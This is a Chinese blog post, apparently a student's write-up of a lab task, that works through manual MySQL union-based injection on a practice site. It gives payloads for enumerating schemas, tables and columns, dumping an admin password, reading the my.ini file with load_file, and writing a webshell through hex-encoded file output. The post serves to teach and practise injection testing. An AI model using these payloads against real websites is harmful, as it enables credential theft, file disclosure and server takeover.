mysql 报错注入写文件_大哥带我们的mysql注入

本文介绍了手工进行MySQL注入的过程,包括如何找出admin用户的密码,读取phpstudy的my.ini配置文件,以及通过注入点写入webshell。通过union select语句、load_file函数和路径构造,逐步展示了每个步骤的技术细节和解决方法。
摘要由CSDN通过智能技术生成

这是今天的任务

任务三个 : 第一个手工注入找出admin用户的密码,第二个读取我phpstudy中mysql的my.ini这个配置文件的内容,第三个是通过这个注入点写入一个webshell,  都是要求手工,具体方法自己百度mysql5注入相关内容

union select 1,2,3,4,5

6f6fcdca777bc578f8c8f62660a2a0f4.png

查询语句 第一步是先构造闭合 加入单引号报错 然后 更据and 1=1 and1=2看是字符型还是布尔型注入

http://www.萨达所大大所多t/index.php?id=1%20order%20by%205

aedeb6c31e1e749d6940478b66a3b333.png

数据库test

查询所有数据库

网址+union select 1,2,3,4,schema_name from information_schema.schemata

c6998cbdbaf9df9c6bdcfdd20e6b1074.png

要求是读取web端口的admin密码 那我们应该进入test数据库

爆表名

网站+union select 1,2,3,4,table_name from information_schema.tables where table_schema='test'

这里原来的语句已经闭合 不需要你去闭合了

6346175651ea5ed27582f27b7db69c0b.png

看见有admin表之后继续爆列名

union select 1,2,3,4,column_name from information_schema.columns where table_name='admin'

8b270a4d8fcef2f6f6def52e128ca5be.png

看见有username 和password应该就是我们要爆破的字段名 来爆破吧

网站+union select username,password,3,4,5 from admin

720d715d3b65fd485ccb94cb7b5a3653.png

这个应该就是我们要爆破的数据 admin admin888

0X02读取靶机phpstudy里面mysql的my.ini这个文件

那有注入点 我们看看是否有读写文件的权限呐? 因为这里的user()是root那我们就有读取文件的权限了

1、必须有权限读取并且文件必须完全可读。

and (select count(*) from mysql.user)>0 /*如果结果返回正常,说明具有读写权限.*/

and (select count(*) from mysql.user)>0 /* 返回错误,应该是管理员给数据库账户降权了*/

2、欲读取文件必须在服务器上

3、必须指定文件完整的路径

4、欲读取文件必须小于max_allowed_packet

如果该文件不存在,或因为上面的任一原因而不能被读出,函数返回空。比较难满足的就是权限。

在windows下,如果NTFS设置得当,是不能读取相关的文件的,当遇到administrators才能访问的文件,

users就不能实现用load_file读取文件了。

利用需要满足以下条件:

1.root权限

2.GPC关闭(能使用单引号)

3.有绝对路径(读文件可以不用,写文件必须)

4.没有配置—secure-file-priv

88c00b3a465ea8f203fa73c641811e14.png

那么权限够了 路径怎么办呐??????

两个函数的介绍

@@datadir 读取数据库路径

@@basedir MYSQL 获取安装路径

union select user(),2,3,@@datadir,@@basedir

4b6a5c6103c80dac961ae3f4098f1040.png

好像找到路径了E:\phpstudy\MySQL\data\ 那我们看看mysql的my.ini文件一般在哪个文件夹下面 去百度一下

这里分享这个

https://blog.csdn.net/jiangyu1013/article/details/79792708

那更据他的理解路径应该是 E:\phpstudy\MySQL\data\my.ini

那我们就具备读文件的权限了

构造语句 这里第一次构造的路径是\一个斜杠的 不知道为什么不行 网上说两个斜杠就好 我就去试了一下

网址+%20union%20select%20load_file(%27E:\\phpstudy\\MySQL\\my.ini%27),2,3,4,5

e62b16b97927be90a70ca93e1a0a8747.png

成功读取文件

0X03写入自己的webshell

那么这个要满足的条件就更多了

没有配置—secure-file-priv 这个是什么东西呐?看看下面这个博客

https://blog.csdn.net/qq_41173457/article/details/81264564

好咯 回归正题

尝试一下嘛先 管他配没配置 但是一般这个网页的路径在哪里呐?

我们只是知道mysql的路径的啊 提示告诉我们是phpstudy 我们看看自己的phpstudy mysql和WWW同目录

77c41ee1015eb961bd130d4a872d6af8.png

那我们来尝试一下吧

我的天 过滤了  那我们尝试一下16进制直接写入吧

d6a9b60ae67be267c325e6b6dbdb55cc.png

而且好像还把目录报错出来了

我们的目录写错了应该是E:\phpstudy\WWW\sqli-one\

但是还是会报错

https://blog.csdn.net/qianduan520/article/details/52383214

这篇文章给大家解释的很清楚了

跟着改就行

然后就会成功

13ffe6f9214e6059f1cc9009fdeee5ff.png

致谢--- 卿哥

加油努力!!!

评论
添加红包

请填写红包祝福语或标题

红包个数最小为10个

红包金额最低5元

当前余额3.43前往充值 >
需支付:10.00
成就一亿技术人!
领取后你会自动成为博主和红包主的粉丝 规则
hope_wisdom
发出的红包
实付
使用余额支付
点击重新获取
扫码支付
钱包余额 0

抵扣说明:

1.余额是钱包充值的虚拟货币,按照1:1的比例进行支付金额的抵扣。
2.余额无法直接购买下载,可以购买VIP、付费专栏及课程。

余额充值